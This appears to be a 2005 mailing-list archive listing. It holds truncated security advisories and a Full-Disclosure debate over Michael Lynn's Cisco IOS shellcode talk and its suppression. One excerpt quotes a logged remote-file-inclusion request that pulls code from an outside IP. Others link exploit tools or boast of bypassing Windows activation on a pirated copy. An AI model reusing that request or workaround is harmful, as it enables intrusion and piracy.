-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
- --
Debian Security Advisory DSA 769-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
July 29th, 2005
://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml.
Affected Products
=
Vulnerable Products
This issue affects all Cisco devices running any unfixed version of Cisco IOS
code that supports, and is configured for, IPv6. A device which supports IPv6
must have the interfaces
===
Ubuntu Security Notice USN-156-1 July 29, 2005
tiff vulnerability
https://bugzilla.ubuntu.com/show_bug.cgi?id=12008
===
A security issue affects the following Ubuntu
http://trifinite.org/trifinite_stuff.html
/JA
http://www.athias.fr - Alertes et Bulletins de Sécurité
- Original Message -
From: Mark Sec [EMAIL PROTECTED]
To: pen-test@securityfocus.com; full-disclosure@lists.grok.org.uk;
hehelol :-)
imail.pl
Description: Perl program
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
---
Various Vulnerabilities in GForge
---
Author: Jose Antonio Coret (Joxean Koret)
Date: 2005
Location: Basque Country
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
- --
Debian Security Advisory DSA 770-1 [EMAIL PROTECTED]
http://www.debian.org/security/ Martin Schulze
July 29th, 2005
---BeginMessage---
Over on Boing Boing:
[snip]
Here's a PDF that purports to be Michael Lynn's presentation on Cisco's
critical vulnerabilities (The Holy Grail: Cisco IOS Shellcode And Exploitation
Techniques), delivered at last week's Black Hat conference. Lynn's employer,
ISS, wouldn't
Larry Blumenthal wrote:
Information wants to be free.
Time to free it!
So next you'll be posting your full name, address, SSN, MMN, CC #, bank
account details, etc??
H -- thought not...
Regards,
Nick FitzGerald
___
Full-Disclosure - We
Hi Jason,
Our company purchased nSight v1 last fall and have been using ever since.
We're also running a beta version (http://www.intrusense.com/products/beta)
of their v2 product right now in tandem. It's quite an eye opening
experience when you really see what your employees are up to and how
That was a real dickhead thing to do. The guy that wrote that made an
agreement with Cisco of his own free will. Who do you think you are
to go against an agreement he made, with his own information?
I sincerely hope it bites you in the arse.
On 7/29/05, Larry Blumenthal [EMAIL PROTECTED]
Trying to Stifle information is a real dickhead thing to do also...
I'm just waiting for someone to toss the DMCA into all of this. =]
-KF
Micheal Espinola Jr wrote:
That was a real dickhead thing to do. The guy that wrote that made an
agreement with Cisco of his own free will. Who do you
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
At 19:40 29/07/05, KF (lists) wrote:
Trying to Stifle information is a real dickhead thing to do also...
Totally right :)
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.2rc2 (MingW32)
Trying to Stifle information is a real dickhead thing to do also...
Well said.
Now all of us that have Ciscoworks (and it's version management which
will keep old IOS images lying around) can go about reproducing Lynn's work.
Godspeed to all of you lucky enough to live in a country where
It was done of his own free will. Have you heard/read his public
statement about it?
I think I did the right thing. It was pretty scary, but the real
important thing was there was the potential of serious problem, Lynn
said. I did not think the nation's interest was served by waiting
another
There was no added benefit to the public by posting that slideshow.
Especially considering that the latest versions of the IOS are not
vulnerable.
Then what's the harm in it?
As a general rule, anything the government (or industry) doesn't want us
to see, is something we should *definitely*
On Fri, 2005-07-29 at 13:52 -0400, Micheal Espinola Jr wrote:
Especially considering that the latest versions of the IOS are not
vulnerable.
Read the advisory a bit closer. Here the relevant lines:
Products that are not running Cisco IOS are not affected.
Products running any version of Cisco
Michael Holstein wrote:
Secrecy and censorship are contrary to the ideals of a democratic society.
Mike,
You don't live in a democratic society. You have representatives and
laws to make decisions and impose rules of order on others on your
behalf. Like it or not, if the rules you allow to
On Fri, 29 Jul 2005, Jason Coombs wrote:
Likewise, anyone with information that would show that Cisco is
knowingly faking it by exaggerating their appearance as a victim can
be instrumental in having Cisco prosecuted for abuse of process, or at
the very least any possible criminal charges
Frank Knobbe wrote:
What he has done is not say Here's a bug that I can exploit. He has
said This IOS is capable of exploitation beyond current belief. And it
will be for the foreseeable future.
Precisely. And Lynn pointed out that Cisco routers use general purpose
CPUs -- therefore Cisco's
This is getting good
---runs to get popcorn
BRING ON THE DRAMA!
Original Message
Subject: Re: [Full-disclosure] Cisco IOS Shellcode Presentation
From: J.A. Terranson [EMAIL PROTECTED]
Date: Fri, July 29, 2005 2:26 pm
To: Jason Coombs [EMAIL PROTECTED]
Cc:
J.A. Terranson wrote:
Do I hear a faint echo of Adobe???
No, Lynn reportedly quit his job, so he is not going to have the my
company did it, so you can't prosecute me defense...
If we assume Lynn knew about this defense given that he is quoted as
referencing the Adobe case in his
Cisco is responsible for this entire mess. Had they engineered a secure
product around a CPU that was not general purpose, none of this would be
happening now.
Okay .. so we write 'special purpose' shellcode then. Cisco could have
designed the CPU as a ASIC, at the expense of being able to
So mutch fussits all so new ..
http://www.phrack.org/phrack/56/p56-0x0a
-elz
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Steve Friedl wrote:
So you're suggesting that Cisco should have adopted security by
obscurity for its hardware design?
How about adopting an architecture that incorporates special-purpose
security safeguards into the CPU? Routers and switches don't need to
execute arbitrary code, Cisco knows
How about adopting an architecture that incorporates special-purpose
security safeguards into the CPU? Routers and switches don't need to
execute arbitrary code, Cisco knows ahead of time, before they deploy a
product, what code that product should be allowed to execute.
But how many times
On Fri, 29 Jul 2005, Eric Lauzon wrote:
:
:So mutch fussits all so new ..
:
:
:http://www.phrack.org/phrack/56/p56-0x0a
:
:
:-elz
I don't get your point; it obviously seems you're trying to be sarcastic.
I think, if you realize what you're talking about, the point of the talk
was the idea
On Fri, 29 Jul 2005 08:29:35 -1000, Jason Coombs said:
Precisely. And Lynn pointed out that Cisco routers use general purpose
CPUs -- therefore Cisco's own engineers chose purposefully to build a
vulnerable device.
All von Neumann architecture processors are equally vulnerable in theory.
How about adopting an architecture that incorporates special-purpose
security safeguards into the CPU? Routers and switches don't need to
execute arbitrary code, Cisco knows ahead of time, before they deploy a
product, what code that product should be allowed to execute.
Do you think
Read the advisory a bit closer. Here the relevant lines:
Products that are not running Cisco IOS are not affected.
Products running any version of Cisco IOS that do not have IPv6
configured interfaces are not vulnerable.
Yes, IOS versions that have the fix, or that don't even run IPv6 are not
:Intel screwed up their design of hyperthreading with caches, and as a
:result, local users can steal data from one another.
Intel did? How's that? This cache issue has been a problem before at
different levels. You're stating that it's the CPU's job to determine
scheduling of what
is the IPv6 DOS
http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml. And
the other is Lynn presentation on shellcode execution via the IOS?
-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Geo.
Sent: Friday, July 29, 2005 2:57 PM
To: full
Willem Koenings wrote:
hi,
looks like CSE exploit is circulating again...
found several queries today from server log
anyone confirms?
GET /index.php?page=http://213.202.214.198/cse.gif? HTTP/1.1 404
1035 - Python-urllib/2.4
Can't see anything new in there. The usual PHP exploit suite, which
Christopher Kunz wrote:
If you filter user input correctly, there's absolutely nothing to worry.
You might, however, want to check out the Hardening Patch for PHP
(http://www.hardened-php.net/, shameless plug) which permits include()
disallows, of course. It has been a long week, I
On Fri, Jul 29, 2005 at 05:10:12PM -0400, [EMAIL PROTECTED] wrote:
On Fri, 29 Jul 2005 15:33:19 CDT, Randall Perry said:
Even for producing less than 500 units there are vendors ready to jump at
the
chance to replace FPGA setups (because we are talking about complex 2k+
gate count).
Recently, I discovered a major XSS issue with Indiatimes shopping cart. It
is one of the largest shopping and auctioning portal in India. The XSS flaw
is present in most of the links of the portal however, I am currently
reporting only few specific links which are very critical. The vulnerability
On Fri, 29 Jul 2005, KF (lists) wrote:
Trying to Stifle information is a real dickhead thing to do also...
I'm just waiting for someone to toss the DMCA into all of this. =]
CERT and DHS are bigger cards in the game then DMCA.
Thanks,
Ron DuFresne
--
Sometimes you get the blues because
On Fri, 29 Jul 2005, Jason Coombs wrote:
Madison, Marc wrote:
Am I missing something here, because it seems that two vulnerabilities
are being discussed, one is the IPv6 DOS
http://www.cisco.com/warp/public/707/cisco-sa-20050729-ipv6.shtml. And
the other is Lynn presentation
On Fri, Jul 29, 2005 at 08:07:20AM -0700, Larry Blumenthal said something to
the effect of:
Information wants to be free.
Time to free it!
Okay!! you first!
Settle down, Cowboy. Speak for yourself. ;)
Fuck Cisco!
Repeat previous comment. :D
yPIImv,
--ra
You shall be corrected.
On Fri, 29 Jul 2005, J. Oquendo wrote:
:
:
:Correct me if I'm wrong, obviously I wasn't at the presentation, but
:Lynns' assertion of an attack (uploading and running things via the
:router) is no different from a POC tool released a few years back called
:Ultima Ratio
On Fri, 29 Jul 2005 23:17:48 +0200, Jochen Kaiser said:
maybe I am wrong, but with high end switchrouter I thought that routing
protocols are handled by IOS by the cpu - after calculated, the topology
is programmed in e.g. TCAM memory.
That's the *point* - the CPU is what's vulnerable here.
On Fri, 29 Jul 2005 [EMAIL PROTECTED] wrote:
On Fri, 29 Jul 2005 16:38:26 CDT, Ron DuFresne said:
being that we'll all be retired and all this equipment replaced by the
time IPv6 becomes standard the threat is not as great then as it was first
made out to be then, correct?
Part of the
read your post on
WGA and tested it on my version of win-XP corp SP2 ** pirated **
Used a legal version
running in vmWare and it works like a charm...
I 1st tried it with
the key from your document's screenshot and the website told my the code was
expired.. so i think the code only can
===
Title: Kshout Data Disclosure
Vulnerability Discovery: SoulBlack - Security Research -
http://soulblack.com.ar
Date: 26/07/2005
Severity: Medium. Remote users can view
Correct me if I'm wrong, obviously I wasn't at the presentation, but
Lynns' assertion of an attack (uploading and running things via the
router) is no different from a POC tool released a few years back called
Ultima Ratio http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c
probably just
All,
These recipients received an email from Austin Mckinley as Cisco Systems.
This messasge was sent in complete error and includes intellectual
property of ISS and Cisco Systems. Please delete and do not distrbute
the information any further.
If you have any quesitons, please contact the
This raises an interesting point, if intellectual property is sent in
error, do any of the laws pertaining to said property apply 100% or is
there a weird shift of how they are applied?
On 7/29/05, Russell Smoak [EMAIL PROTECTED] wrote:
All,
These recipients received an email from Austin
On Fri, 2005-07-29 at 18:57 -0500, J.A. Terranson wrote:
They fucked up. They'll have to fix it then. But thats not the same
as
the gross negligence they're being accused of.
I'm not sure that can fix that. Unless they add canaries to the stack
and include other OpenBSD style W^X type checks.
I believe that at the moment of disclosure it becomes public domain.
Echoes of RC4...
This raises an interesting point, if intellectual property is sent in
error, do any of the laws pertaining to said property apply 100% or is
there a weird shift of how they are applied?
On 7/29/05,
On Fri, 29 Jul 2005 18:57:15 CDT, J.A. Terranson said:
This has nothing to do with the choice of a general purpose CPU, it is a
result of a specific architecture within the CPU chosen. There is a real
difference here.
Actually, although I've flamed Jason quite a bit, he *is* right in that
On Fri, 29 Jul 2005, Frank Knobbe wrote:
On Fri, 2005-07-29 at 18:57 -0500, J.A. Terranson wrote:
They fucked up. They'll have to fix it then. But thats not the same
as
the gross negligence they're being accused of.
I'm not sure that can fix that. Unless they add canaries to the stack
On Fri, 29 Jul 2005 [EMAIL PROTECTED] wrote:
or go with some exotic
architecture like Intel's iAXP432(*) or the IBM S/38, which are both tagged
architectures, but hardly qualify as general purpose.
S/38 (aka IBM's Future Program) was both a great idea, and every bit a
general purpose
J.A. Terranson wrote:
I believe that at the moment of disclosure it becomes public domain.
Echoes of RC4...
Wrong, J.A.
infowarrior.org is now hosting a fine replica of the cease and desist
letter that was received earlier today:
http://www.infowarrior.org/users/rforno/lynn-cisco.pdf
On Fri, 29 Jul 2005, Jason Coombs wrote:
J.A. Terranson wrote:
I believe that at the moment of disclosure it becomes public domain.
Echoes of RC4...
Wrong, J.A.
infowarrior.org is now hosting a fine replica of the cease and desist
letter that was received earlier today:
J.A. Terranson wrote:
Also, that Cisco must fix was not the point of my argument. I was trying
to point out that Jason's basic premise that this was a grossly negligent
act by Cisco is pure fiction.
Not at all -- you're simply constraining the discussion to all known
CPUs and I'm referring
On Fri, 29 Jul 2005, Frank Knobbe wrote:
On Fri, 2005-07-29 at 14:49 -1000, Jason Coombs wrote:
infowarrior.org is now hosting a fine replica of the cease and desist
letter that was received earlier today:
http://www.infowarrior.org/users/rforno/lynn-cisco.pdf
I wonder if he will get
J.A. Terranson wrote:
I believe that at the moment of disclosure it becomes public domain.
Echoes of RC4...
http://www.infowarrior.org/users/rforno/lynn-cisco.pdf
That letter doesn't change anything. Theres a lot of law that says that
is now public data, and free of it's trade incumberances.
J.A. Terranson wrote:
On Fri, 29 Jul 2005, Jason Coombs wrote:
reverse engineered.
*millions* of copies of these secrets in general circulation. Nobody
can assert with a straight face that anything about Lynn's presentation is
not completely and totally within the public view - and
On Fri, 29 Jul 2005, Jason Coombs wrote:
J.A. Terranson wrote:
On Fri, 29 Jul 2005, Jason Coombs wrote:
*millions* of copies of these secrets in general circulation. Nobody
can assert with a straight face that anything about Lynn's presentation is
not completely and totally within
Ianal, but I think jurisdictions may have issues with receiving and
using/profiting from stolen 'property', regardless of whether that property
is an information/intangible asset or a tangible asset.
In practical terms the information is 'published' as in available to a broad
range of readers.
On Fri, 29 Jul 2005 13:11:57 CDT, Russell Smoak said:
All,
These recipients received an email from Austin Mckinley as Cisco Systems.
This messasge was sent in complete error and includes intellectual
property of ISS and Cisco Systems. Please delete and do not distrbute
the information
[EMAIL PROTECTED] wrote:
On Fri, 29 Jul 2005 15:02:51 -1000, Jason Coombs said:
redesign, fundamentally, the turing machine so that before each
operation is performed a verification step is employed to ensure that
Ahem. No. You *can't* ensure it (although you *can* do things like bounds
On Fri, 29 Jul 2005 [EMAIL PROTECTED] wrote:
Unfortunately, there has been a temporal discontinuity between the departure
of the quadrupeds and the closing of the barn doors.
Well put :-)
There's only two ways to *effectively* deal with this one:
a) Commence massive neural wipes of
J.A. Terranson wrote:
didn't get my copy from Infowarrior. Nor have I seen any order.
On Thursday, Judge Jeffrey White of the United States District Court
for the Northern District of California issued a permanent injunction
preventing further distribution of the material (attached). Cisco
On Fri, 29 Jul 2005, Jason Coombs wrote:
J.A. Terranson wrote:
didn't get my copy from Infowarrior. Nor have I seen any order.
On Thursday, Judge Jeffrey White of the United States District Court
for the Northern District of California issued a permanent injunction
preventing further
On Fri, 29 Jul 2005 16:28:31 -1000, Jason Coombs said:
We're not talking about proving/disproving the result of computation
here, we're talking about a simple logical step inserted prior to
transmission of operating instructions and data to a turing machine.
It does not invoke the Turing
On Fri, Jul 29, 2005 at 01:11:57PM -0500, Russell Smoak wrote:
These recipients received an email from Austin Mckinley as Cisco Systems.
http://www.newsobserver.com/business/story/2039776p-8423402c.html
Austin McKinley works on cables for a simulation of customer's
networking
67 matches
Mail list logo
